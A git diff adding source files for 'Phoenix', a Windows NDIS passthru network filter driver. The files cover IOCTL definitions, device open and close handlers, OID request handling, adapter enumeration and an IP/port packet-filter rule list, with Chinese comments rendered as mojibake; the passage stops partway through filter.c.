diff --git a/Project/Network and Communication/Phoenix/sys/IOCOMMON.H b/Project/Network and Communication/Phoenix/sys/IOCOMMON.H new file mode 100644 index 0000000..2d6e289 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/IOCOMMON.H @@ -0,0 +1,98 @@ +////////////////////////////////////////////////////////////////// +// iocommon.hÎļþ + +#ifndef __IOCOMMON__H +#define __IOCOMMON__H + + +////////////////////////////////////////////////////////// +// ¶¨ÒåIOÊý¾ÝÀàÐÍ + + +typedef struct _PTUSERIO_OID_DATA +{ + ULONG Oid; + ULONG Length; + UCHAR Data[1]; +}PTUSERIO_OID_DATA, *PPTUSERIO_OID_DATA; + + +// ÍøÂç»î¶¯×´Ì¬ +typedef struct _PassthruStatistics +{ + ULONG nMPSendPktsCt; // ͨ¹ýMPSendPacketsµÄ·â°ü + ULONG nMPSendPktsDropped; // ÔÚMPSendPacketsÖжªÆúµÄ·â°ü + ULONG nPTRcvCt; // ͨ¹ýPTReceiveµÄ·â°ü + ULONG nPTRcvDropped; // ÔÚPTReceiveÖжªÆúµÄ·â°ü + ULONG nPTRcvPktCt; // ͨ¹ýPTReceivePacketµÄ·â°ü + ULONG nPTRcvPktDropped; // ÔÚPTReceivePacketÖжªÆúµÄ·â°ü +}PassthruStatistics, *PPassthruStatistics; + +// ¹ýÂ˹æÔò +typedef struct _PassthruFilter +{ + USHORT protocol; // ʹÓõÄЭÒé + + ULONG sourceIP; // Ô´IPµØÖ· + ULONG sourceMask; // Ô´µØÖ·ÆÁ±ÎÂë ÕâÀïʹÓÃÆÁ±ÎÂëÊÇΪÁËÄܹ»ÉèÖÃÒ»¸öIPµØÖ··¶Î§ + + ULONG destinationIP; // Ä¿µÄIPµØÖ· + ULONG destinationMask; // Ä¿µÄµØÖ·ÆÁ±ÎÂë + + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort; // Ä¿µÄ¶Ë¿ÚºÅ + + BOOLEAN bDrop; // ÊÇ·ñ¶ªÆú´Ë·â°ü + +}PassthruFilter, *PPassthruFilter; + + +//////////////////////////////////////////////////////////// +// ¶¨ÒåIO¿ØÖÆ´úÂë + +#define FSCTL_PTUSERIO_BASE FILE_DEVICE_NETWORK + +// ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_ENUMERATE \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x201, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ´ò¿ªÒ»¸öÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_OPEN_ADAPTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x202, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_SET_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x203, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_QUERY_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x204, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// »ñÈ¡ÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_QUERY_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x205, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ÖØÉèÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_RESET_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x206, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_ADD_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x207, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Çå³ý¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_CLEAR_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x208, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + +#endif // __IOCOMMON__H + + + + + + diff --git a/Project/Network and Communication/Phoenix/sys/PTEXTEND.C b/Project/Network and Communication/Phoenix/sys/PTEXTEND.C new file mode 100644 index 0000000..a6fc1f5 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/PTEXTEND.C @@ -0,0 +1,562 @@ +///////////////////////////////////////////////// +// PTEXTEND.cÎļþ + + +#include "precomp.h" +#pragma hdrstop +#include "iocommon.h" + +extern NDIS_SPIN_LOCK GlobalLock; +extern PADAPT pAdaptList; + + +////////////////////////////////////////// +// ÅÉDzÀý³Ì + +// ÕâÊÇ´¦ÀíIRP_MJ_CREATEµÄÅÉDzÀý³Ì£¬ÎÒÃǽö¼òµ¥µÄ·µ»Ø³É¹¦ +NTSTATUS DevOpen(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION pIrpStack; + + // ³õʼ»¯Õâ¸öеÄÎļþ¶ÔÏó + + pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + pIrpStack->FileObject->FsContext = NULL; + pIrpStack->FileObject->FsContext2 = NULL; + + + DBGPRINT((" DevOpen: FileObject %p\n", pIrpStack->FileObject)); + + // Íê³É´ËIRPÇëÇó + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + +// ÕâÊÇ´¦ÀíIRP_MJ_CLEANUPµÄÅÉDzÀý³Ì +NTSTATUS DevCleanup(PDEVICE_OBJECT pDeviceObject,PIRP pIrp) +{ + PIO_STACK_LOCATION pIrpSp; + NTSTATUS status = STATUS_SUCCESS; + POPEN_CONTEXT pOpenContext; + + // È¡µÃ¾ä±ú + pIrpSp = IoGetCurrentIrpStackLocation(pIrp); + pOpenContext = pIrpSp->FileObject->FsContext; + + if(pOpenContext) + { + // ÔÚÕâÀïÈ¡ÏûËùÓÐδ¾öµÄIRP¡£Õâ¸öÀý×ÓÀïûÓС£ + } + + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} + +// ÕâÊÇ´¦ÀíIRP_MJ_CLOSEµÄÅÉDzÀý³Ì£¬Èç¹ûÊÇÊÊÅäÆ÷¾ä±ú£¬ÎÒÃÇÒª¼õС¶Ô´ò¿ª»·¾³µÄÒýÓà +NTSTATUS DevClose(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION pIrpStack; + POPEN_CONTEXT pOpenContext; + + pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + pOpenContext = (POPEN_CONTEXT)pIrpStack->FileObject->FsContext; + + + pIrpStack->FileObject->FsContext = NULL; + pIrpStack->FileObject->FsContext2 = NULL; + + if(pOpenContext != NULL) // ¹Ø±ÕµÄÊÇÒ»¸öÊÊÅäÆ÷¾ä±ú + { + if(pOpenContext->pAdapt != NULL) + { + NdisAcquireSpinLock(&(pOpenContext->pAdapt)->Lock); + (pOpenContext->pAdapt)->pOpenContext = NULL; + NdisReleaseSpinLock(&(pOpenContext->pAdapt)->Lock); + } + DevDerefOpenContext(pOpenContext); + } + + // Íê³É´ËIRPÇëÇó + pIrp->IoStatus.Information = 0; + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + + +// ÕâÊÇ´¦ÀíIRP_MJ_DEVICE_CONTROLµÄÅÉDzÀý³Ì£¬Èç¹ûÊÇÊÊÅäÆ÷¾ä±ú£¬ÎÒÃÇÒª¼õС¶Ô´ò¿ª»·¾³µÄÒýÓà +NTSTATUS DevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + + ULONG uTransLen = 0; + + DBGPRINT((" DevIoControl... \n")); + + switch(uIoControlCode) + { + case IOCTL_PTUSERIO_ENUMERATE: + { + status = DevGetBindingList(pIoBuffer, uOutSize, &uTransLen); + } + break; + case IOCTL_PTUSERIO_OPEN_ADAPTER: // ´ò¿ªÒ»¸öÊÊÅäÆ÷¡£Êµ¼ÊÉÏÊÇΪÊÊÅäÆ÷¹ØÁªÒ»¸öOPEN_CONTEXT½á¹¹ + { + POPEN_CONTEXT pOpenContext; + PADAPT pAdapt = LookupAdaptByName((PUCHAR)pIoBuffer, uInSize); + if(pAdapt == NULL) + { + status = STATUS_OBJECT_NAME_NOT_FOUND; + break; + } + + + // Èç¹ûÕýÔÚUnbind£¬Ôòʧ°Ü + NdisAcquireSpinLock(&pAdapt->Lock); + if(pAdapt->UnbindingInProcess) + { + NdisReleaseSpinLock(&pAdapt->Lock); + PtDerefAdapter(pAdapt); + status = STATUS_INVALID_DEVICE_STATE; + break; + } + NdisReleaseSpinLock(&pAdapt->Lock); + + // Èç¹ûÊÊÅäÆ÷ÒѾ­´ò¿ª£¬Ôòʧ°Ü + if(pAdapt->pOpenContext != NULL) + { + PtDerefAdapter(pAdapt); + status = STATUS_DEVICE_BUSY; + break; + } + + // ΪеÄOPEN_CONTEXT½á¹¹ÉêÇëÄÚ´æ¿Õ¼ä + pOpenContext = DevAllocateOpenContext(pAdapt); + if(pOpenContext == NULL) + { + PtDerefAdapter(pAdapt); + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + + + // ÔÚADAPT½á¹¹Öб£´æpOpenContextÖ¸Õë + // InterlockedXXXº¯ÊýÖ´ÐÐÔ­×Ó²Ù×÷£ºÊ×ÏÈËü½«pAdapt->pOpenContext + // ÓëNULL¼ì²é£¬Èç¹ûËüÃÇÏàµÈ£¬Õâ¸öº¯Êý½«pOpenContext·ÅÈëpAdapt->pOpenContext£¬ + // ·µ»ØNULL¡£·ñÔò£¬Ëü½ö·µ»ØÏÖ´æµÄAdapt->pOpenContext£¬²»¸Ä±äÈκÎÖµ¡£ + + /* ¹¦ÄÜÉÏÏ൱ÓÚ + if(pAdapt->pOpenContext == NULL) + { + pAdapt->pOpenContext = pOpenContext; + } + else + { + // error + }*/ + if(InterlockedCompareExchangePointer(&(pAdapt->pOpenContext), + pOpenContext, NULL) != NULL) + { + PtDerefAdapter(pAdapt); + status = STATUS_DEVICE_BUSY; + break; + } + + // ½«´ò¿ª»·¾³Óë¾ä±ú¹ØÁª + pIrpStack->FileObject->FsContext = pOpenContext; + + status = STATUS_SUCCESS; + } + break; + case IOCTL_PTUSERIO_QUERY_OID: + case IOCTL_PTUSERIO_SET_OID: + { + return DevHandleOidRequest(pDeviceObject, pIrp); + } + break; + default: + return FltDevIoControl(pDeviceObject, pIrp); + } + + + if(status == STATUS_SUCCESS) + pIrp->IoStatus.Information = uTransLen; + else + pIrp->IoStatus.Information = 0; + + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + + +////////////////////////////////// +// ´¦ÀíIOCTLʱҪʹÓõĺ¯Êý + +// ´¦ÀíÓû§µÄOIDÇëÇó +NTSTATUS DevHandleOidRequest(PDEVICE_OBJECT pDeviceObject, PIRP pIrp) +{ + // ¼ÙÉèʧ°Ü + NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; + + // È¡µÃ´ËIRP£¨pIrp£©µÄI/O¶ÑÕ»Ö¸Õë + PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp); + + // È¡µÃI/O¿ØÖÆ´úÂë + ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; + // È¡µÃI/O»º³åÇøÖ¸ÕëºÍËüµÄ³¤¶È + PPTUSERIO_OID_DATA pOidData = (PPTUSERIO_OID_DATA)pIrp->AssociatedIrp.SystemBuffer; + ULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + ULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; + ULONG uTransLen = 0; + + POPEN_CONTEXT pOpenContext; + PADAPT pAdapt; + do + { + // È¡µÃÓë´Ë¾ä±ú¹ØÁªµÄOPEN_CONTEXT½á¹¹µÄÖ¸Õë // Ê×Ïȼì²é´Ë¾ä±úÊÇ·ñ´ò¿ªÊÊÅäÆ÷ + pOpenContext = (POPEN_CONTEXT)pIrpStack->FileObject->FsContext; + if(pOpenContext == NULL) + { + status = STATUS_INVALID_HANDLE; + break; + } + pAdapt = pOpenContext->pAdapt; + if(pAdapt == NULL) + { + status = STATUS_INVALID_HANDLE; + break; + } + + // ¼ì²é»º³åÇø + if(uOutSize != uInSize || uOutSize < sizeof(PTUSERIO_OID_DATA) || + uOutSize < sizeof(PTUSERIO_OID_DATA) - 1 + pOidData->Length) + { + status = STATUS_INVALID_PARAMETER; + break; + } + + + + // Èç¹ûUnbindÕýÔÚ½øÐУ¬Ôòʧ°Ü + NdisAcquireSpinLock(&pAdapt->Lock); + + if( pAdapt->UnbindingInProcess ) + { + NdisReleaseSpinLock(&pAdapt->Lock); + DBGPRINT(( " Unbind In Process\n" )); + status = STATUS_INVALID_DEVICE_STATE; + break; + } + + // + // All other queries are failed, if the miniport is not at D0, + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + DBGPRINT(( " Invalid Miniport Device State\n" )); + status = STATUS_INVALID_DEVICE_STATE; + break; + } + + // + // This is in the process of powering down the system, always fail the request + // + if (pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + DBGPRINT(( " Miniport Powering Down\n" )); + + status = STATUS_INVALID_DEVICE_STATE; + break; + } + + NdisReleaseSpinLock(&pAdapt->Lock); + + // ¼ì²éÍê±Ï£¬×îºó£¬½øÐÐÕâ¸öÇëÇó + + DevRefOpenContext(pOpenContext); + + // ³õʼ»¯NDIS_REQUEST½á¹¹ + NdisZeroMemory(&pOpenContext->Request, sizeof(pOpenContext->Request)); + if(uIoControlCode == IOCTL_PTUSERIO_SET_OID) + { + pOpenContext->Request.RequestType = NdisRequestSetInformation; + pOpenContext->Request.DATA.SET_INFORMATION.Oid = pOidData->Oid; + pOpenContext->Request.DATA.SET_INFORMATION.InformationBuffer = pOidData->Data; + pOpenContext->Request.DATA.SET_INFORMATION.InformationBufferLength = pOidData->Length; + } + else + { + pOpenContext->Request.RequestType = NdisRequestQueryInformation; + pOpenContext->Request.DATA.QUERY_INFORMATION.Oid = pOidData->Oid; + pOpenContext->Request.DATA.QUERY_INFORMATION.InformationBuffer = pOidData->Data; + pOpenContext->Request.DATA.QUERY_INFORMATION.InformationBufferLength = pOidData->Length; + } + + NdisResetEvent( &pOpenContext->RequestEvent); + + // Ìá½»Õâ¸öÇëÇó + NdisRequest(&status, pAdapt->BindingHandle, &pOpenContext->Request); + + + if(status != NDIS_STATUS_PENDING) + { + DevRequestComplete(pAdapt, &pOpenContext->Request, status); + } + + // µÈ´ýÇëÇóµÄÍê³É£¬¼´µÈ´ýNdisµ÷ÓÃDevRequestCompleteÀý³Ì + NdisWaitEvent(&pOpenContext->RequestEvent, 0); + + if(pOpenContext->RequestStatus == NDIS_STATUS_SUCCESS) + { + // ½«´óС·µ»Øµ½Óû§»º³åÇø + if(uIoControlCode == IOCTL_PTUSERIO_SET_OID) + { + pOidData->Length = pOpenContext->Request.DATA.SET_INFORMATION.BytesRead; + } + else if(uIoControlCode == IOCTL_PTUSERIO_QUERY_OID) + { + pOidData->Length = pOpenContext->Request.DATA.QUERY_INFORMATION.BytesWritten; + } + + // ÉèÖ÷µ»Ø¸øI/O¹ÜÀíÆ÷µÄÐÅÏ¢ + uTransLen = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; + status = STATUS_SUCCESS; + } + else + { + status = STATUS_UNSUCCESSFUL; + } + + DevDerefOpenContext(pOpenContext); + } + while(FALSE); + + if(status == STATUS_SUCCESS) + pIrp->IoStatus.Information = uTransLen; + else + pIrp->IoStatus.Information = 0; + + pIrp->IoStatus.Status = status; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + return status; +} + +VOID DevRequestComplete(PADAPT pAdapt, PNDIS_REQUEST NdisRequest,NDIS_STATUS Status) +{ + POPEN_CONTEXT pOpenContext = CONTAINING_RECORD(NdisRequest, OPEN_CONTEXT, Request); + pOpenContext->RequestStatus = Status; + NdisSetEvent(&pOpenContext->RequestEvent); +} + +// »ñÈ¡°ó¶¨Áбí +NTSTATUS DevGetBindingList( + IN PVOID Buffer, // »º³åÇø + IN ULONG Length, // »º³åÇø´óС + IN OUT PULONG DataLength // ·µ»Øʵ¼ÊÐèÒªµÄ³¤¶È + ) +{ + PADAPT pAdapt ; + + // ±éÀúÁÐ±í£¬¼ÆËãËùÐèµÄ»º³åÇø´óС + ULONG nRequiredLength = 0; + ULONG nAdapters = 0; + + NdisAcquireSpinLock(&GlobalLock); + + pAdapt = pAdaptList; + while(pAdapt != NULL) + { + nRequiredLength += pAdapt->DeviceName.Length + sizeof(UNICODE_NULL); + nRequiredLength += pAdapt->LowerDeviceName.Length + sizeof(UNICODE_NULL); + nAdapters++; + + pAdapt = pAdapt->Next; + } + + // ÎÒÃǽ«ÒªÒÔÏÂÃæµÄ¸ñʽ·µ»ØÊý¾Ý£º + // nAdapters + Ò»¸ö»òÕ߶à¸ö£¨"DeviceName\0" + "LowerDeviceName\0"£© + UNICODE_NULL + // ËùÒÔ£¬ÏÂÃæÒª°üº¬ÉÏnAaptersºÍUNICODE_NULLµÄ´óС + nRequiredLength += sizeof(nAdapters) + sizeof(UNICODE_NULL); + + *DataLength = nRequiredLength; + if(nRequiredLength > Length) + { + NdisReleaseSpinLock(&GlobalLock); + return STATUS_BUFFER_TOO_SMALL; + } + + // Ìî³ä»º³åÇø + // Ê×ÏÈÊÇÊÊÅäÆ÷ÊýÁ¿ + *(PULONG)Buffer = nAdapters; + Buffer = (PCHAR)Buffer + sizeof(ULONG); + + // È»ºó¸´ÖÆÊÊÅäÆ÷ºÍ·ûºÅÁ¬½ÓÃû³Æ + pAdapt = pAdaptList; + while(pAdapt != NULL) + { + NdisMoveMemory(Buffer,pAdapt->DeviceName.Buffer, pAdapt->DeviceName.Length + sizeof(WCHAR)); + + Buffer = (PCHAR)Buffer + pAdapt->DeviceName.Length + sizeof(WCHAR); + + NdisMoveMemory(Buffer,pAdapt->LowerDeviceName.Buffer, pAdapt->LowerDeviceName.Length + sizeof(WCHAR)); + + Buffer = (PCHAR)Buffer + pAdapt->LowerDeviceName.Length + sizeof(WCHAR); + + pAdapt = pAdapt->Next; + } + + // ×îºóµÄ½áÊø±êÖ¾ + *(PWCHAR)Buffer = UNICODE_NULL; + + NdisReleaseSpinLock(&GlobalLock); + + return STATUS_SUCCESS; +} + + + +//////////////////////////////////////////// +// °ïÖúº¯Êý + +// ¸ü¼ÓÊÊÅäÆ÷Ãû³Æ²éÕÒÊÊÅäÆ÷µÄPADAPT½á¹¹ +PADAPT LookupAdaptByName(PUCHAR pNameBuffer, ULONG nNameLength) +{ + PADAPT pAdapt; + + NdisAcquireSpinLock(&GlobalLock); + + pAdapt = pAdaptList; + while(pAdapt != NULL) + { + if(pAdapt->LowerDeviceName.Length == nNameLength && + NdisEqualMemory(pAdapt->LowerDeviceName.Buffer, pNameBuffer, nNameLength)) + break; + + + pAdapt = pAdapt->Next; + } + + // ·ÀÖ¹ÔÚÒýÓÃÊÊÅäÆ÷Æڼ䣬ϵͳÊÍ·Å»º³åÇø + if(pAdapt != NULL) + PtRefAdapter(pAdapt); + + NdisReleaseSpinLock(&GlobalLock); + return pAdapt; +} + +// ÉêÇëºÍ³õʼ»¯Ò»¸öPOPEN_CONTEXT½á¹¹ +POPEN_CONTEXT DevAllocateOpenContext(PADAPT pAdapt) +{ + POPEN_CONTEXT pOpenContext = NULL; + + // ΪOPEN_CONTEXT½á¹¹ÉêÇëÄÚ´æ¿Õ¼ä + NdisAllocateMemoryWithTag(&pOpenContext, sizeof(OPEN_CONTEXT), TAG); + if(pOpenContext == NULL) + { + return NULL; + } + + // ³õʼ»¯Õâ¸öÄÚ´æ¿Õ¼ä + NdisZeroMemory(pOpenContext, sizeof(OPEN_CONTEXT)); + + NdisAllocateSpinLock(&pOpenContext->Lock); + + NdisInitializeEvent(&pOpenContext->RequestEvent); + + pOpenContext->RefCount = 1; + pOpenContext->pAdapt = pAdapt; + + return pOpenContext; +} + +// Ôö¼Ó¶ÔÊÊÅäÆ÷£¨PADAPT½á¹¹£©µÄÒýÓà +VOID PtRefAdapter(PADAPT pAdapt) +{ + NdisInterlockedIncrement(&pAdapt->RefCount); +} + + +// ¼õС¶ÔÊÊÅäÆ÷£¨PADAPT½á¹¹£©µÄÒýÓã¬Èç¹û¼õΪ0£¬ÔòÊÍ·ÅËüÕ¼ÓõÄÄÚ´æ +VOID PtDerefAdapter(PADAPT pAdapt) +{ + if(pAdapt == NULL) + return; + + if(NdisInterlockedDecrement(&pAdapt->RefCount) == 0) // ÒѾ­Ã»ÓдúÂëÔÙÒýÓÃËüÁË£¬ÊÍ·ÅÄÚ´æ + { + MPFreeAllPacketPools (pAdapt); + +// BEGIN_PTEX_FILTER + // + // ·´³õʼ»¯´ËÊÊÅäÆ÷ÉϵĹýÂËÏà¹ØÊý¾Ý + // + FltOnDeinitAdapter(pAdapt); +// END_PTEX_FILTER + + NdisFreeMemory(pAdapt, 0, 0); + } +} + + + + +// Ôö¼Ó¶Ô´ò¿ª»·¾³µÄÒýÓà +VOID DevRefOpenContext(POPEN_CONTEXT pOpenContext) +{ + // Ê×ÏÈÔö¼Ó¶ÔÊÊÅäÆ÷µÄÒýÓã¬È»ºóÔÙÔö¼ÓOPEN_CONTEXTµÄÒýÓüÆÊý + PtRefAdapter(pOpenContext->pAdapt); + NdisInterlockedIncrement(&pOpenContext->RefCount); +} + +// ¼õÉÙ¶Ô´ò¿ª»·¾³µÄÒýÓã¬Èç¹û¼õΪ0£¬ÔòÊÍ·ÅËüÕ¼ÓõÄÄÚ´æ +VOID DevDerefOpenContext(POPEN_CONTEXT pOpenContext) +{ + PADAPT pAdapt = NULL; + if(pOpenContext == NULL) + return; + + // Ê×Ïȱ£´æ¶ÔÓ¦µÄÊÊÅäÆ÷Ö¸Õ룬ÒÔ±ãºóÃæ¶ÔËüµ÷ÓÃPtDerefAdapterº¯Êý + pAdapt = pOpenContext->pAdapt; + + // ¼õСÒýÓüÆÊý£¬Èç¹ûûÓдúÂëÔÙÒýÓÃËüÁË£¬ÔòÇå³ý×ÊÔ´ + if(NdisInterlockedDecrement(&pOpenContext->RefCount) == 0) + { + NdisFreeSpinLock(&pOpenContext->Lock); + NdisFreeMemory(pOpenContext, 0, 0); + } + + // ¼õÉÙ¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); +} + + + + +/*NTSTATUS DevOpenAdapter(PUCHAR pNameBuffer, ULONG nNameLength, ) +{ + +}*/ + + diff --git a/Project/Network and Communication/Phoenix/sys/PTEXTEND.H b/Project/Network and Communication/Phoenix/sys/PTEXTEND.H new file mode 100644 index 0000000..8d38ee9 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/PTEXTEND.H @@ -0,0 +1,64 @@ +/////////////////////////////////////////////////////// +// PTEXTEND.hÎļþ + +#ifndef __PTEXTEND__H +#define __PTEXTEND__H + + + + + + + + +// Óû§´ò¿ªÒ»¸öÊÊÅäÆ÷ºó£¬ÎÒÃǾÍΪÆä¾ä±ú¹ØÁªÒ»¸öOPEN_CONTEXT½á¹¹£¬ +// ½á¹¹Ö¸Õë±£´æÔÚFileObjectµÄFsContextÓòÖÐ +typedef struct _OPEN_CONTEXT +{ + ULONG RefCount; + NDIS_SPIN_LOCK Lock; + BOOLEAN bAdapterClosed; + + PADAPT pAdapt; + + // ÏÂÃæ3¸öΪµÄÊÇ´¦ÀíOidÇëÇó + NDIS_REQUEST Request; + NDIS_STATUS RequestStatus; + NDIS_EVENT RequestEvent; + +// BEGIN_PTEX_FILTER + // Ϊ¹ýÂËÊý¾ÝÔ¤ÁôµÄ¿Õ¼ä ÿ¸ö´ò¿ª¾ä±úµÄ¹ýÂËÏà¹ØÊý¾Ý + // Per-Open-Handle Filter-Specific Area + // + ULONG FilterReserved[16]; + +// END_PTEX_FILTER + +} OPEN_CONTEXT, *POPEN_CONTEXT; + + + + + +///////////////////////////////////////////// +// ÏÂÃæÊÇһЩ×Ô¶¨Ò庯ÊýµÄÉùÃ÷ + +NTSTATUS DevClose(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +NTSTATUS DevCleanup(PDEVICE_OBJECT pDeviceObject,PIRP pIrp); +NTSTATUS DevOpen(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +NTSTATUS DevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +NTSTATUS FltDevIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); + +NTSTATUS DevHandleOidRequest(PDEVICE_OBJECT pDeviceObject, PIRP pIrp); +VOID DevRequestComplete(PADAPT pAdapt, PNDIS_REQUEST NdisRequest,NDIS_STATUS Status); + +VOID PtRefAdapter(PADAPT pAdapt); +VOID PtDerefAdapter(PADAPT pAdapt); +POPEN_CONTEXT DevAllocateOpenContext(PADAPT pAdapt); +VOID DevDerefOpenContext(POPEN_CONTEXT pOpenContext); +VOID DevRefOpenContext(POPEN_CONTEXT pOpenContext) ; + +NTSTATUS DevGetBindingList(PVOID Buffer,ULONG Length,PULONG DataLength); +PADAPT LookupAdaptByName(PUCHAR pNameBuffer, ULONG nNameLength); + +#endif // __PTEXTEND__H diff --git a/Project/Network and Communication/Phoenix/sys/_desktop.ini b/Project/Network and Communication/Phoenix/sys/_desktop.ini new file mode 100644 index 0000000..18aa814 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/_desktop.ini @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/sys/filter.c b/Project/Network and Communication/Phoenix/sys/filter.c new file mode 100644 index 0000000..06c6e98 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/filter.c @@ -0,0 +1,551 @@ +///////////////////////////////////////////////////// +// filter.cÎļþ + +// Õâ¸öÎļþ°üº¬ÁËÇý¶¯³ÌÐòÖйýÂËÏà¹ØµÄ´úÂë ¹ýÂ˲¿·Ö + + +#include "precomp.h" +#pragma hdrstop + +#include "iocommon.h" + + +#include "protoinfo.h" + +// ¹ýÂ˹æÔòÁбí +typedef struct _PassthruFilterList +{ + PassthruFilter filter; + struct _PassthruFilterList *pNext; + +} PassthruFilterList, *PPassthruFilterList; + +// ADAPT½á¹¹ÖÐFilterReserved²¿·Ö +typedef struct _ADAPT_FILTER_RSVD +{ + BOOLEAN bFilterInitDone; + + // Per-Adapter¹ýÂËÏà¹Ø³ÉÔ± + PassthruStatistics Statistics; // ¼Ç¼ÍøÂç״̬£¬Èç´«ÊäÁ˶àÉÙ·â°ü£¬¶ªÆúÁ˶àÉÙµÈµÈ + + PPassthruFilterList pFilterList; // Ö¸Ïò¹ýÂËÁбí + +}ADAPT_FILTER_RSVD, *PADAPT_FILTER_RSVD; +C_ASSERT(sizeof(ADAPT_FILTER_RSVD) <= sizeof(((PADAPT)0)->FilterReserved)); + + +// OPEN_CONTEXT½á¹¹ÖÐFilterReserved²¿·Ö. +typedef struct _OPEN_CONTEXT_FILTER_RSVD +{ + BOOLEAN bFilterInitDone; + + // ¸ü¶àµÄPer-Open-Handle¹ýÂËÏà¹Ø³ÉÔ± + +}OPEN_FILTER_RSVD, *POPEN_FILTER_RSVD; + +C_ASSERT(sizeof(OPEN_FILTER_RSVD) <= sizeof(((POPEN_CONTEXT)0)->FilterReserved)); + + + +VOID FltOnInitAdapter(PADAPT pAdapt) +{ + PADAPT_FILTER_RSVD pFilterContext; + + // + // ³õʼ»¯ADAPT½á¹¹ÖеÄFilterReservedÓò + // + pFilterContext = (PADAPT_FILTER_RSVD )&pAdapt->FilterReserved; +} + + +VOID FltOnDeinitAdapter(PADAPT pAdapt) +{ + PADAPT_FILTER_RSVD pFilterContext; + + // + // ·´³õʼ»¯ADAPT½á¹¹ÖеÄFilterReservedÓò + // + pFilterContext = (PADAPT_FILTER_RSVD)&pAdapt->FilterReserved; + + ClearFilterList(pFilterContext); +} + + +///////////////////////////////////////////////////// + +// ÏòÊÊÅäÆ÷¹ýÂËÁбíÖÐÌí¼ÓÒ»¸ö¹ýÂ˹æÔò +NTSTATUS AddFilterToAdapter(PADAPT_FILTER_RSVD pFilterContext, PPassthruFilter pFilter) +{ + PPassthruFilterList pNew; + // ΪеĹýÂ˹æÔòÉêÇëÄÚ´æ¿Õ¼ä + if(NdisAllocateMemoryWithTag(&pNew, sizeof(PassthruFilterList), TAG) != NDIS_STATUS_SUCCESS) + return STATUS_INSUFFICIENT_RESOURCES; + + // Ìî³äÕâ¿éÄÚ´æ + 